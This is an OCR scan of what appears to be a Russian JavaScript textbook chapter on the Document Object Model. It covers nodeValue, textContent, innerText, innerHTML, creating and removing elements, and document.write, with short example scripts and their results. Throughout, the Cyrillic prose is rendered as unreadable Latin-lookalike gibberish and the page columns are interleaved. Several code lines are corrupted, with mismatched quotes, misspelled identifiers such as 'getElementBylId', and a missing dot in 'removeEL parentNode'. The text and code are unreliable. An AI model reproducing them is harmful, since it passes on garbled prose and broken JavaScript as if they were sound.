KaK 414 TEKCTOBOro y3/la CoO C/IOBOM
«CaMbly, Tak U Ans y3/1a 3/1IeMeHTa em.

MpY NCNONB30BaAHNM 3TUX CBOMCTB HOBbIN
KOHTEHT 3aTUpaeT BCE NPEeXHee COAEPXMMOoe
snemeHTa (Kak TEKCT, Tak v pasmMeTky).
Hanpumep, ecnv Bbl npumeHnTe moboe 13
3TUX CBOMCTB A4/15 OBHOB/IEHUSA COAEPXKNUMOTO
3/ieMeHTa body, Bbl TeM caMbiM 06HOBUTE BCIO
Beb-cTpaHuuy.

OBbEKTHAA MOAEJ/Ib AOKYMEHTA



OJOCTYMN K TEKCTOBOMY

Y31y 1 OBHOBJIEHWE EIO
COLOEPXXMMOTIO MNPV MOMOLLN
CBOWCTBA NODEVALUE

MOXHO N3BJIEYb NN NSMEHNTb COZEPKMMOE BblJIENEH-
HOTO TEKCTOBOIO y3/1a Npu NOMOLLIM CBOMCTBa nodeValue.

<li id="one"><em=>cBexnii</em> nHxmp</li>
li — aTpubyT

em
|

TEKCT:
CBeXUn

Cnepytownit Ko AEMOHCTPUPYET [OCTYN KO BTOPOMY TEKCTOBOMY y31y.
OH BepHeT pe3ynbTaT MHXUP.
document.getElementById(‘one').firstChild.nextSibling.nodeValue;

CBowcTBO nodeValue npume- 1. ¥Y3en anemeHTa li BbigENSI€TCA NPpY NOMOLLM MeToaa
HVMO K TEKCTOBOMY Y31y, getElementById().

a He K3/1IeMeHTY, coZepxa-
LeMy 3TOT TeKCT.

2. NepBbiMm moToMkoM anemeHTa li aBnsieTcs

JaHHbIN NpUMep AeMOHC- SN1EMEHT em.

TpUpYeT, 4To nepexos oT 3. TeKCTOBbIN y3€N — CAEA4YIOLUMI CMEXHbIV y3€e/1 AaH-
y3/1a 3/1IeMeHTa K TEKCTOBO-
MY Y31y MOXET OKa3aTbCA
AOBOJ/IbHO CJ/TOXKEH.

HOro annemMeHTa em.
4.Y Bac eCTb TEKCTOBbIN y3e, Kero cogepxmmomy

EC/M Bbl He 3HaeTe, 6yayT MOXHO 00paTUTbCA NpM MOMOLLM CBOMCTBA nodeValue.

NIV MeX Yy TEKCTOBbIMMU
y3/1aMM1 HaxoANTbCA Y3/1bl
3/1EMEHTOB, yaobHee pabo-
TaTb C 06BEMIIOLNM 3/1e-
MEHTOM.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA



NOCTYIT K TEKCTOBOMY
Y3J1Y N EFO USMEHEHUNE

YT0bbl paboTaTh C TEKCTOM Y TeKCTOBOrO y3/1a eCTb Kpome Toro, cBoncTBO
B 3/1eMEeHTe, HY>XHO CHavana cBoncTBo nodeValue. OHO nodeValue MOXHO NCNO/Ib30-
0bpaTnTbLCA K Y31y 3N1EMEHTA, BO3BPALLAEeT TO, YTO B HEM BaTb /15 0OHOBNEHUS cozep-
a3aTeM — K ero TeEKCTOBOMY coAepxuTcs. KMMOr0o TEKCTOBOrO y3/1a.
y37y.
JAVASCRIPT c05/js/node-value.js
var itemTwo = document.getElementById(‘two'); // Nonyyaem BTOPOit IneMeHT U3 cnucka
var elText = itemTwo.firstChild.nodeValue; // Tonyyaem ero TeKCTOBOE COREPXKUMOE
elText = elText.replace('kenpoBsie opewky', '6enokoyarHas kanycra');; // MeHsiem KepoBble OpeLIku Ha 6enokouaHHyio Kanycry
itemTwo.firstChild.nodeValue = elText; // 06HoBASIEM 3EMEHT CNNCKA
B aTom npumepe mbl bepem
PE3YJIbTAT]

TEKCTOBOE coaepXnmoe
BTOPOro sasieMeHTa B CNcKe
N N3IMEHAEM €ro C «KeJpoBble
OopeLlKn» Ha «benokoyaHHas
KanycTtay».

beloKoyaHHas Kanycra MepBas cTpoka 6epeT BTopoW
3n1eMeHT cnuncka. OH coxpaHs-

eTCcsl B NepeMeHHow itemTwo.

NUyeJuHbIN Me], 3aTeM TeKCTOBOE COAepXun-
MOEe 3TOro 3/1eMeHTa nomeLLa-
eTCs B NepemeHHyto elText.
banbzammnueckni yKCyC TpeTbsi CTpOKa 3aMeHsieT 3Ha-

YeHune «KeapoBble OpeLLKn» Ha
«benokoyaHHas kanycTay. Ans
3TOr0 MCMONb3YeTCa MeToA
replace() obbekTa String.

CBEXHIH WHXWNP

B nocnegHen cTpoke NCnosib-
3yeTcsi cBOMCTBO nodeValue,
3aMeHsoLLEee COAEPXKNMOe
TEeKCTOBOrO y3/1a 06HOBMEH-
HbIM 3HAYEHUEM.

OBBbEKTHAA MOOEJIb AOKYMEHTA @



HOCTYI K TEKCTY

N EFO OBHOBJIEHNE
[P MOMOLLN CBONCTB
TEXTCONTENT M INNERTEXT

CBoncTBO textContent No3BossieT cobMpaTh N OOHOBAATL
TEKCT M TOJIbKO TEKCT, COAEPXKALLMICA B 00 bEMIIOLLEM
anemMmeHTe (M ero Jo4YepHUX 31EMEHTAX).

textContent

Ansa cbopa TekcTa ns ane-
MeHTOB li B Hawem npumepe
(MrHOpUPYS BCIO pa3mMeTky,
cofepxallytcs B 31eMeHTe)
MO>XHO MCMNONb30BaTb CBOMC-
TBO textContent snemeHTa li,
coaep>allero TekcT. B gaH-
HOM MpUMepe OHO BEpHeT
3HAYEHME KCBEXMMN MHXKNPY.
Mpw nomowm cBONCTBA
textContent Tak>xe MOXHO

0OHOBUTbL KOHTEHT 3/1IEMEHTA.

OHo 3aMeHseT BCe cofep-
KUMOE 3/1eMEeHTa, BKtoYas
pasmeTKy.

innerText

<li id="one"><em=>cBexuii</em> ceexunii</li>

li — aTpubyT

em

TeKCT:
CBEXUM

document.getElementById(‘one').textContent;

CyuiecTBeHHbIN HegocTaTok cBoncTBa textContent 3akntoya-
eTCca B TOM, 4To B 6paysepe Internet Explorer oHo He paboTaeT
Ao Bepcumn 9. Bce ocTasibHble OCHOBHble Bpay3epbl ero nogae-
pXXUWBatoT.

Bo3moxHO, Bam nHorga 6yqu BCTpe4daTbCAa U cBomncTBO innerText. O4HaKo UM, Kak npasuno, He
pekoMeHAYyeTCAa No/Ib30BaATbLCA MO TPEeM OCHOBHbIM MPpUYNHAM.

NOAOOEPXKA

XoTa 60/1bLUMHCTBO OCHOB-
HbiXx 6pay3epoB NoaAepXn-
BatoT innerText, Firefox ero
UTHOPUPYET, MOCKObKY
3TO CBOWCTBO HE BXOAUT HU
B KaKoW CTaHAapT.

MOOAYMHEHHOCTb MmPoOnM3BoOaN-
CSS TEJIbBHOCTb
3T0 CBOMCTBO He oTobpa- [MockonbKy CBOMCTBO
>KaeT TeKCT, CKPbITbIA Npu innerText yunTbiBaeT
nomouyn CSS. Hanpumep, npaBunaa KOMNOHOBKM,
npu HaaM4YnMM Npasu- ykasbiBatwoLyme, byaeT an
na CSS, ckpbiBatoLLero BUAEH 3/1IEMEHT, TEKCT
3/1€MEeHTbl em, CBOMCTBO MOXeT U3B/iekaTbCs
innerText BepHY/10 Obl TO/1b- Me/IeHHee, YeM npu
KO C/TOBO MHXUP. NpYUMeHeHNN CBONCTBA
textContent.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA



ONOCTVYII

NMCKJTIOUNTEJIBHO

Y7066l NPOAEMOHCTPUPOBATH
pasHuLYy MeXAy CBOMCTBaMU
textContent v innerText, pac-
CMOTPUM NPUMEDP, B KOTOPOM
aencteyeT npasuao CSS,
cKkpblBatoLLee cogepXnmoe
31emMeHTa em.

JAVASCRIPT

BbimosiHeHWe cLueHapusa Hauyn-
HAEeTCsA C TOro, YTO OH Mosly4YaeT
COAEPXKMMOE MEePBOro 3eMEH-
Ta, NCMONb3YA O4HOBPEMEHHO
ABa cBolcTBa: textContent

1 innerText. 3aTeM OH CTaBUT textContent.
3TV 3HAYEeHMs Noc/e cnmcka.

K TEKCTY

HakoHel, 3HaYeHVe NepBoOro
3/1eMeHTa cnmcka obHoBAS-
eTCs U NPUHUMAET BUA «nLle-
HUYHbIE CyXapuku». OTo Agena-
eTCs Npy NOMOLLM CBOMCTBA

c05/js/inner-text-and-text-content.js

var firstItem = document.getElementById(‘'one’); // Haxogum nepabiit anemeHT cnucka
var showTextContent = firstItem.textContent; // Nonyyaem 3Havenue textContent

var showInnerText = firstItem.innerText;

// OToGpaxaem copepxmmoe AByX 3TUX CBOWCTB NOCAE CNUCKA

var msq = '<p>textContent: ' + showTextContent + '</p>';
msg +='<p>innerText: ' + showInnerText + '</p>';

var el = document.getElementBylId('scriptResults');

el.innerHTML = msg;

// Nonyyaem 3Hayekne innerText

firstItem.textContent = 'nwennyble cyxapukn’;  // 0GHOBAAEM NEPBbI/ INEMEHT ClUCKA

PE3YJIbTAT

NWEHHUYHbIE CYXapPpHUKHN

KEAPOBLIE OPELIKH

NUYeauHbIN Mef,

banb3amnyecknin ykeyc

textContent: cBEXKMA MHXUP

innerText: undefined

B 6onbLIMHCTBE Gpay3epoBs
Npon3onaeT cleayloLLee.

o CaowncTso textContent
NONYyYNT CNOBA KCBEXUN
VHXNP».

® CsoncTBO innerHTML
MOTYYUT TONIBKO KUHXUPY»
(NOCKOIbKY KCBEXMIAY»
CKPbITO B COOTBETCTBUM
c npasunamum CSS).

® HoecTtb napa HKOaHCOB.

® BInternet Explorer Bepcuu
8 NN HUXe CBONCTBO
textContent He cpaboTaerT.

® BFirefox ceoncTBO
innerText BepHeT 3HayYeHne
undefined, nockonbky
B 3TOM Gpay3epe OHO He
peannsoBaHo.

OBBbEKTHAA MOOEJIb AOKYMEHTA @



HOBABJIEHNE N1
YOAJIEHVME HTML-KOHTEHTA

CyLLecTBYIOT ABa NPUHLMMANANIBHO OT/INYAKLLMXCS cnocoba
AobaBneHns koHTeHTa B AepeBo DOM n yganeHus ero oTTy-
Aa. Bo-nepBblX, MOXXHO BOCMO/Ib30BAaTbCSi CBOMCTBOM innerHTML,

BO-BTOpPbIX, BbINO/JIHUTb MaHunynaunm ¢ DOM.

CBounctBo innerHTML

NMpumeuaHme. CBONCTBO innerHTML He6e3onacHo. CBA3aHHbIe C HUM Npo6ieMbl OMUCAHbI HA C. 234,

noaxopn

CsorictBo innerHTML MOXHO
MNCMNOMNb30BaTb C /II0OLIM y3/10M
anemMeHTa. OHO NpUMeHsieTcs
KaK 419 U3BNEYEHUS, TaK U ANs
3aMeHbl KOHTeHTa. /15 3aMeHbl
HOBbIV MaTepuan NpeaocTaB-
NseTcs B BUAE CTPOKK, KoTopas
MOXET COAepXaTb Pa3sMeTKy
A5 9N1EMEHTOB-NOTOMKOB.

OOBABJIEHUE
KOHTEHTA

YT106bl 406ABUTL HOBbIN
KOHTEHT:

1) coxpaHuTe ero (BmecTe

C pa3MeTKoW) B mepeMeHHOoMn
KaK CTPOKY;

2) BbIAE/INTE 3/IEMEHT, KOH-
TEHT KOTOPOrO Bbl XOTUTE
3aMEHUTb;

3) yCTaHOBUTE HOBYIO CTPOKY
B KayecTBe 3Ha4yeHUs CBOWC-
TBa innerHTML 3TOro sfiemMeHTa.

NMPUMEP: UBMEHEHUE 3JIEMEHTA CMUCKA

1. Co3gaem nepemMeHHYy1o,

B KOTOpoOW 6yaeT coaep>aTbcs

pasmerTka.

var item;
item = '<em>CBexuin</em>
MHXUP';

B nepemMeHHOM MoXeT 6bITb
CTO/IbKO pa3MeTKM, CKOJlb-

KO BaM HY>HO. DTOT cnocob
noseondeT 6bICTpo A06ABUTH
B aepeBo DOM noboe HyxHoe
KOJINYECTBO Pa3MeTKMU.

2. Bbigensiem afieMeHT, €o-
AepXXNMoe KOTOPOro Mbl
XOTUM O6HOBUTD.

TEKCT:
WNHXUP

@ OBbEKTHAA MOLEJIb AOKYMEHTA

YAAJNIEHUE KOHTEHTA

YT06bI yAANUTb BCE COAEPXKM-
MOE 3/IEMEHTA, HY>XXHO 3a4aTb
NycTYyl CTPOKY B KayecTBe
3HAYeHUsa ero cBoOMcTBa
innerHTML. YT06bl yaanuTb
OAMH 3/IEMEHT U3 dparmeHTa
DOM, Hanpumep, oauH li ns ul,
HY>XHO 3a4aTb 34€eCb B Kayec-
TBE 3HAa4YeHUA BECb pparMeHT
MWHYC 3TOT 3/IEMEHT.

3. 3ameHseMmM cogepxumoe
BblZe/IEHHOr0 3/1IEMEHTA
HOBOW pa3meTKOM.

& TEeKCT:
I NHXUP

TEKCT:
CBEXWUM



MaHunynauma c DOM no3BoifeT C JIErKOCTbIO BbIOGMpPaTb KOHKpET-
Hble y3/1bl, TOrAa Kak CBONCTBO innerHTML 60n1ee ya406HO an9 06-

HOBJIEHUNA 60/bLLUUX PParMeHTOB.

MeTtoabl MaHunynsauum ¢ DOM

MaHunynauna c DOM B uenom 6e3onacHee, Yyem paboTa c innerHTML, HO 3TOT cnocob 6on1ee MeANeHHbIN

n TpebyeT 60bLINX 06BEMOB KOAA.

noaxopn AOBABJIEHUE

Mpu manunynsymm c DOM KOHTEHTA

npumeHseTtca Habop metTog0B YT106b1 JO6ABUTH HOBbIN KOH-
DOM, nosBonsoLLnX cosga- TEHT, NpUMeHseTCca NnpegHasHa-
BaTb y3/1bl 3/IEMEHTOB U TeK- YeHHbI ANs 3Toro metog DOM.
CTOBbIE Y3/1bl, @ 3aTEM NpU- OZHOBpPEMEHHO OH paboTaeT
KpennaTtb ux K gepesy DOM C OAHUM Y3/10M, HOBbIN KOHTEHT
WIN YyAANATb U3 HEro. COXpaHseTCs B NepeMeHHON.

3aTeM NpMMeHsaeTCcs Apyromn
meToa DOM, nosBonswoLmmn
NPUKPENUTb HOBbIA 3/IEMEHT Ha
HY>XHOe mecTo B AgepeBe DOM.

NMPUMEP: OOBABJIEHUE 3JIEMEHTA CNMIUCKA

1. Co34aeM HOBbIN TEKCTOBbIN 4. Bbi6bUpaem 3/IeMeHT, K KO-
VELYH TOPOMY HY>XXHO A06aBUTb
HOBbIW pparmMeHT:
TeKkcT op

ul

2. Co3paeM HOBbIN y3en
3/emMeHTa:

li

3. [lo6aBnsieM TEKCTOBbIN y3en
K y3/1y 3/leMmeHTa:

li
|

TeKCT

YAOAJIEHUE KOHTEHTA

Mo>xHo yaanuTb us gepesa
DOM KOHKpEeTHbI/ 3N1eMeHT
(a Tak>ke BCe ero cofep>u-
MO€) NpY MOMOLLMN OHOTO-
€AVNHCTBEHHOro MeToAa.

5. Npukpenisem HOBbIN
dparmeHT K BbibpaHHOMY
3/1eMEeHTY:

OBBbEKTHAA MOLOEJIb AOKYMEHTA @



HOCTYI K TEKCTY

N PASMETKE N NX
OBHOBJIEHWE T1PU
[MMOMOLLN CBOUNCTBA
INNERHTML

CBomncCTBO innerHTML no3BosieT nosiy4yaTb 4OCTYN K KOH-
TEHTY a/1eMmeHTa (M U3SMEHSATb ero), a Tak>Xe KO BCEM ero
3/1eMEeHTaM-MOTOMKAM.

innerHTML

CBoncTBO innerHTML BO3Bpa-
LlaeT KOHTEHT 3/1IEMEHTA
KaK A/IMHHYO CTPOKY, BKHO-
YaloLLyto B TOM Yncsie BClo
pa3smeTKy, coaepKallytocs
B 3/IeMeHTe.

Mpu ncnonb3oBaHuu Ana
TOro, 4tobbl 3a4aTb 3/1e-
MEHTY HOBOW KOHTEHT, 3TO
CBOMCTBO BepeT CTPOKY,
cofepxallyto pasmeTKy,

n nobasnseT BCe coaep-
Xalinecs B Hell 3/1eMeHTbI
B Aepeso DOM.

[Mpn co3aaHnm HOBOTO KOH-
TeHTa c NomMoLbto innerHTML
y4ynTbIBaNTE, YTO, MpOnyc-
TUB OANH-€4NUHCTBEHHbIN
3aKpblBaOLLWA Ter, Bbl
MOXeTe NCMOPTUTb KOMMO-
HOBKY BCEWN CTpaHMULbI.

Bosnee Toro, ecav CBONCTBO
innerHTML npnmeHsgeTca a4ng
AobaBaeHnsa Ha cCTpaHuLy
No/b30BaTENbCKOrO KOH-
TEHTa, TO Takum obpasom

B Ball KOZ MOTyT nonacTb
BPEAOHOCHbIE MaTepuansbl
(cm. c.234).

<liid="one"><em=>cBexuit</em= uxxup</li=

li — aTpubyT

em

TEKCT.

CBeXUn

MOJTYYEHVE KOHTEHTA

Cnepytowwas cTpoKa KOfa NoNy4aeT KOHTEHT 3/IeMeHTa CnncKa 1 fobasnser sty
uHtbopmauuio B nepemeHHyto elContent:

var elContent = document.getElementById('one').innerHTML;

Tenepb B nepemeHHo elContent cogepXxmnTcs cTpoka:
'<em>cBeXuit</em=> uHxup'

N3MEHEHWE KOHTEHTA

Cneayrowni koa gobasnaeT cogepxmnmoe nepemeHHon elContent
(BkNtOYaA BCIO pa3ameTKy) B MEPBbI 31EMEHT Cnuncka:
document.getElementById('one').innerHTML = elContent;

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA



OBHOBJIEHVE TEKCTA
N PASMETKW

Mpumep HaymHaeTcs ¢ co-
XpaHeHNs NepBOro 31eMeH-
Ta cnucka B mepemMeHHon
firstItem.

JAVASCRIPT

3aTeM Ko U3BEKAET CO-
AEPXKNMOE 3TOr0 3/1EMEHTA
CMMUCKa U COXpaHAET ero B ne-
pemeHHoN itemContent.

// CoxpaHsem nepBblil 3NeMEHT CMUCKa B NepemMeHHoit
var firstItem = document.getElementById(‘one');

// Nonyyaem cogepxumoe Nepeoro emeHTa crmcka

var itemContent = firstItem.innerHTML;

// 06HoBASEM COAEPKUMOE NEPBOTO INEMEHTA CNUCK], eN1ast U3 HETO CCINKY
firstItem.innerHTML = '<a href=\"http://example.org\">' + itemContent + '</a>";

PE3YJIbTAT

cBexuii nixunp &

KeApPpoBbie OPELIKH

NuYeJIMHbIN Mef,

banb3aMUUECKNM yKCycC

HakoHeL, cogep>xumoe ane-
MeHTa crnucka nometlaercs
B cCbiniky. ObpaTnTe BHU-
MaHue, Kak 3KpaHUpyTcs
KaBbIYKM.

c05/js/inner-html.js

[TockonbKy coaepXxumoe
cTpoku gobaBngeTca B afe-
MEHT Npyu NMOMOLLM CBONCTBA
innerHTML, 6pay3ep nomecTuT
B 06BEKTHYIO MOZeb JOKY-
MeHTa BCe 3/1eMeHTbI, cogep-
Xalymecs B CTpoke. B gaHHOM
npumepe Ha cCTpaHuuy A0-
6asnseTcsa anemeHT a. (Bce
HOBbIE 31EMEHTbI TakXe byayT
AOCTYMNHbI APYTMM CLeHapu-
amMm, paboTaloLnMm Ha 3Tom
cTpaHuue.)

Ecnu Bbl UCcrofib3yeTe B Ba-
wem HTML-koae aTpubyTbl,
TO yA06HO 5KpaHMpoBaTh
KaBblYK/ CUMBOJIOM 06paTHO-
rocneuwa, 4ytobbl Nokasatsb,
YTO OHU HE BXOAAT B COCTaB
cueHapus.

OBBbEKTHAA MOOEJIb AOKYMEHTA @



HOBABJIEHVE SJIEMEHTOB
NP NMOMOLLUN
MAHUTTYTALWWN C DOM

Manunynsauymnsa ¢ DOM — 3To eLle oanH cnocob gobasne-
HWS HOBOIO KOHTEHTA Ha cTpaHuLy (anbTepHaTUBHbIN pa-
6oTe co cBOMCTBOM innerHTML). OH BK/ItOYaEeT TpM 3Tana.

1

CO3OAHNE
SJIEMEHTA

createElement()

Jna Havyana mMbl co-
3/1aeM HOBbIN 3N1EMEHT
npyv NOMOLLM MeToza
createElement(). 5T0T y3en
3/1eMeHTa CoxpaHsaeTcsa
B MepeMeHHON.

Co34aHHbIN Taknm obpa-
30M y3e/1 3/1eMeHTa eLle
He BXOAWT B COCTaB Jepe-
Ba DOM. OH He nonagaeT
TyAa BNAOTb 40 3Tana 3.

B KOHLe rnasbl Mbl pac-
CMOTPUM NMpuUMep, rae
yrnomMuHaeTcs elle oANH
MeTOo/, NO3BONSOLLNMN
BCTaBUTb 3/1IEMEHT

B aepeBo DOM. MeToza
insertBefore() CTaBMT HOBbIN
3/1eMEHT nepes BblAeseH-
HbiM y310M DOM.

2

HATIOJTHEHNE
SJIEMEHTA KOHTEHTOM

createTextNode()

MeTog createTextNode()
CO3/1aeT HOBbI TEKCTOBbIN
y3en. OnaTb Xe, OH coxpa-
HsieTCsl B mepeMeHHow. Ero
MOXHO 06aBUTb K Y311y
3/1eMeHTa Npy NOMOLLN
meTtoza appendChild().

Tak B 31eMeHT 3anncbiBa-
eTcsa KOHTeHT. OAHaKo 3ToT
Lar NponyckaeTcsi, eC/1v Bbl
X0TUTe A06aBUTL B 1€pPEBO
DOM nycTom anemMeHT.

3

OOBABJTEHUE
SJIEMEHTA B DOM

appendChild()

Tenepsb, Korga BaLl
3nemeHT roToB (ecnu
5TO TEKCTOBbIN y3er,
TO B HEM MOXET CO-
AEepXaTbCsA TEKCT),
nopa NpuUKpennTb 3/e-
MeHT kK aepeBy DOM
npv NOMOLLN MeToaa
appendChild().

DTOT MeTo/ No3BONAET
yKasaTb, K Kakomy 3/e-
MEHTY Bbl XOTUTe aoba-
BUTb y3€/1 B Ka4yecTBe
[l0YEpHETO.

Ha npakTuke ncnonbsyercs Kak MaHunynaums ¢ DOM,

Tak 1 cBorcTBO innerHTML. O TOM, B Kakux Ccaydyasax

npeAnoyYTUTENEH TOT UM MHOM CMOCOH, Mbl MOFOBOPUM

Ha c. 232.

MpumeyaHue. HekoTopble paspaboTumnkmn 0CTaBASIOT Ha

cBonx HTML-cTpaHuuax nycTble 3/1eMeHTbl, N1aHNpys

3aTeM NPUKPENUTb K HUM HOBbI KOHTEHT, HO 6e3 Kpai-

Hen HeO6XO£I,I/IMOCTI/I nydule Tak He AenaThb.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA



HOBABJIEHNE 2JIEMEHTA
B AEPEBO DOM

MeToz createElement() cosga-
€T 3/1IEMEHT, KOTOPbIA MOXHO
A06aBuTb K gepeBy DOM, —
B JaHHOM Cny4ae nycTon
anemeHT li 4ns cnucka.

JAVASCRIPT

HoBbI 91€MEHT XpaHuTCs
B nepemMeHHOM newkEl 10 Tex
nop, Moka no3xe oH He byaeT
npukpenneH k gepesy DOM.

// Co3paeM HOBbI/ 3NeMEHT U COXPaHAEM ero B NepemMeHHoM.

var newEl = document.createElement('li");

// Co3paeM TeKCTOBbIN y3en U COXpaHAeM ero B nepemMeHHoi.
var newText = document.createTextNode('quinoa);

// TpuKpennsiem HoBbll TEKCTOBbIN Y3eN K HOBOMY 3MIEMEHTY.

newEL.appendChild(newText);

// Haxopum no3uumio, Ha KOTOPYIO AOMKeEH ObiITb NOCTABAEH HOBbIN 3NEMEHT.
var position = document.getElementsByTagName('ul')[0];

// CraBum HOBBbIV 3nEMEHT Ha 3Ty MO3ULMIO.

position.appendChild(newEl);

PE3YJIbTAT

CBEXMI UHXUP
KeJpoBble Opeliku

nuyeauHbIn Men,

banb3aMuueckuin ykcyc

3EPHUCTHIN TBOpPOT

MeTop createTextNode() no3Bso-
NsieT co3/aTb HOBbIN TEKCTOBbIN
y3e ANs NPUKPENIeHNs K 31e-
MEHTY. DTOT y3€e/ COXpaHsieTcst
B NepeMeHHoN newText.

c05/js/add-element.js

TekcToBbIV y3en gobaBnseTcs
K HOBOMY y3/1y 3/IeMEHTa Npwu
nomotn metoaa appendChild().

MeTop getElementsByTagName()
BblbMpaeT B AepeBe DOM
nosunumio, B KOTOpYyto cneayet
BCTaBUTb HOBbIV 3/1eMeHT (Ha
CTpaHuLue 3TO AenaeTcs Npu
NOMOLLM 3/1eMeHTa ul).

HakoHeL|, CHoBa NpymeHsieTcs
metog appendChild() — Tenepsb
ANS BCTaBKV HOBOTO 3/1eMeH-
Ta v ero KOHTeHTa B lepeBo
DOM.

OBBbEKTHAA MOOEJIb AOKYMEHTA



YOAJIEHVE 2JIEMEHTOB
['MP MOMOLWWN
MAHUTTYIAUNN C DOM

OnpeaeneHHble Mannnynaynm ¢ DOM nossonsaoT yaa-
NaTb a1eMeHTbl U3 gepesa DOM.

]

SJIEMEHT, NoAdro-
TABJIMBAEMbIN

K YOAJNEHUIO, CO-
XPAHAETCA B MEPE-
MEHHON

Jlns Havana mbl Bbibnpaem
3/IEMEHT, KOTOpbIA Tpeby-
eTca yaannTb, U COXpaHseM
y3e/s13TOro a/leMeHTa B ne-
peMeHHOM.

Ansa Bblbopa anemeHTa
MO>XHO MCMOb30BaTb /t0-
6011 U3 METOA0B, PaCCMOT-
peHHbIX BbilLe B pasjene

0 Bblbope snemeHToB DOM.

Mpu yganeHun anemeHTa n3
DOM Bbl Takxe yaansiete
BCEro 3/1IeMEeHTbI-MOTOMKMU.

2

B MEPEMEHHOW CO-
XPAHAETCA POOM-
TEJIbCKUW DNTEMEHT
TOrO 2NIEMEHTA,
KOTOPbIWV BblJ1 Bbl-
EPAH HA MEPBOM
STAME

Janee Mbl HaX04MM poan-
Tenbckuin (0bbemaoLwmin)
3/IEMEHT TOrO, KOTOPbIN HbIN
BbibpaH Ha NnepBom aTane
ANS yAANEHWUs, N Takxe Co-
XpaHAeM B NepeMeHHOW.

MpolLe BCero BOCM0/b30-
BaTbCA A9 3TOr0 CBONC-
TBOM parentNode AaHHOTO
3NeMeHTa.

Mpumep, NpnBeeHHbIN

Ha cneAytoLlen cTpaHuue,
ZI0BOJIbHO MPOCT, HO Takue
npvembl MO3BOASIOT 3HAYM-
Te/IbHO U3MEHSTb JePEBO
DOM.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA

3

YOATTAEM SJIEMEHT
N3 EFrO OBbEMJIIO-
LLErO 2JIEMEHTA

MeToa removeChild() npu-
MeHsieTcs K 0bbemioLemy
3/1€MEeHTY, KOTOPbIV Bbl
BblIOpanu Ha 3Tane 2.

MeToz removeChild() npuHu-
MaeT OAWH NapameTp: CCblf-
KY Ha TOT 3/1eMEHT, KOTOPbIN
BaMm Bonblie He HyXeH.

YpaneHune aNeMeHTOB U3
aepesa DOM oTpaxkaeTca
Ha MHAEKCaX CMeXHbIX 3/1e-
meHTOoB B Nodelist.



YOAJIEHVE 2JIEMEHTA
3 JEPEBA DOM

B cneaytowem npumepe B nepBo nepemeHHOM Bo BTOpon nepemeHHOM

Mbl UCNONIb3YEM METOZ removeEl coxpaHsieTcs cam containerEl xpaHUTCA 3NeMeHT
removeChild(), 4yTo6bl yaanuThb 3/1EMEHT, KOTOPbIV Bbl XOTUTE ul, cogepxarynyi TOT 3N1eMeHT,
13 CnucKka YeTBepTbIA 3/1e- yAANUTb CO CTpaHuLbl (YeT- KOTOPbI Bbl XOTUTE yAANNTb.

MeHT (a Tak>Xe BCe ero cogep- BEPTbIN 3/IEMEHT CNUCKA)

XUMoe).

JAVASCRIPT c05/js/remove-element.js

var removeEl = document.getElementsByTagName('li')[3];  // MoaroTaBnuBaem anemeHT k yaaneHuio u3 nepeMeHHoil.
var containerEl = removeEL parentNode; // Onpefiensiem 3aneMeHT, CoRepxaLiyil yaansemblit 06bexT.

containerkL.removeChild(removeEl); // Ynansem anemeHr.

MeTog removeChild() npumena-
eTcs K NepeMEHHON, coaepxKa-
e poAUTENbCKUI y3en.

o 3TOT MeToZ NPUHUMAET OAUH
CBEXXKWHW WHXKNP napameTp: TOT 3N1EMEHT,
KOTOPbI Bbl XOTUTE yAaANTb
(XpaHawmincs Bo BTOpon ne-
KENPOBbLIE OPEIIKH pemeHHoM).

nYyeJuHbLIN Men n

@ >3JIEMEHT, KOTOPbIN
TPEBYETCS VIAIUTb

@ OBBLEMIOLMIN SNEMEHT

OBBbEKTHAA MOOEJIb AOKYMEHTA @



CPABHEHWE

PA3JTMYHDBIX NMPNEMOB
NJ1A OBHOBJ1IEHUA
HTML-KOHTEHTA

Tak, BbilLe Mbl paCCMOTpPENU Tpn crocoba aobaBneHns
HTML-koHTeHTa Ha Beb-cTpaHuyy. JJaBante obcyanm,
KOrZa Ny4lle NCNo/ib30BaTb KaXX bl N3 HUX.

B 1t060M si3bIKe MPOrpaMmMUpoBaHus, Kak npa-
BWJI0, OZHY U TY Xe 3a/a4yy MOXHO peLInTb He-
CKOMbKMMU cnocobamu. Ha camom gesne ecan
Bbl MOMPOCUTE AeCATEPbIX MPOrPaMMUCTOB
HanucaTb OAWMH CLLEeHapuii, TO BMOJIHE MOXeTe
NOMyYNTb eCATb Pa3HbIX BAPUAHTOB.

HekoTopble MporpaMMmCTbl GbIBAIOT 4OBO/BHO
NpeAB3ATbl M CYNTAIOT, YTO KMPABUSIBHO — 3TO
3HAUYUT, KaK y MeHs», TOr4a Kak Ha CamoMm gese
3a4acTyio CYLECTBYET HECKO/IbKO PA3HbIX
cnoco6oB. Ecav Bbl CO3HaeTe, YTO y KaxA4oro
cneymanncTa moryT 6biTb CBOM NpeAnoYTEHUS,
TO CNOCOBHbI 06OCHOBAHHO CYANTb, HACKObKO
afleKBaTHbI TE MW UHbIE MOAXOAbI A/ BALLErO
npoekTa.

@ OBbEKTHAA MOAEJIb AOKYMEHTA

document.write()

MeTopa write() o6bekTa document nossonset

C NerkocTbio 406aBNSATL KOHTEHT, KOTOPOro He
6b1710 B UCXOLHOM KOZe Ha CTpaHule. Tem He
MeHee 06bl4HO He peKOMEHAYeTCs MCMOo/b30-
BaTb 3TOT MeToA,.

NMPEMMYLLECTBA

BbICTpbIN M yA06HbINM CNOCO6, NO3BONAIOLLNI
nokasaTb HaYMHaLLMM NPOrpaMMmUCTaM, Kak
[00aBNATb KOHTEHT Ha CTpaHuLy.

HEOOCTATKWN
® CpabaTbiBaeT TONbKO NPV MepBOHAYabHON
3arpyske cTpaHuubl.

® ECam BOCNONb30BATLCHA 3TUM METOAOM YyXe
nocne 3arpy3skm CtpaHuibl, OH MOXeET:

1) nepesanucaTb BCO CTpaHnLy;
2) He 400aBUTb KOHTEHT Ha CTpaHuLy;
3) co3AaTb HOBYIO CTpaHuMLLy.

® OH MOXeT BbI3BaTb Npobaembl Ha HTML-
CTpaHuuax, KOTOpble CTPOro BaiMANpPYOTCS.

® BHacToslee BpeMsi NporpaMMuCTbl
OYeHb PeAKO MOJb3YIOTCS 3TUM MEeTOA0M
1, Kak NpasBuJ/io, BOCMPUHUMAIOT ero
HeoZo6pUTENbHO.



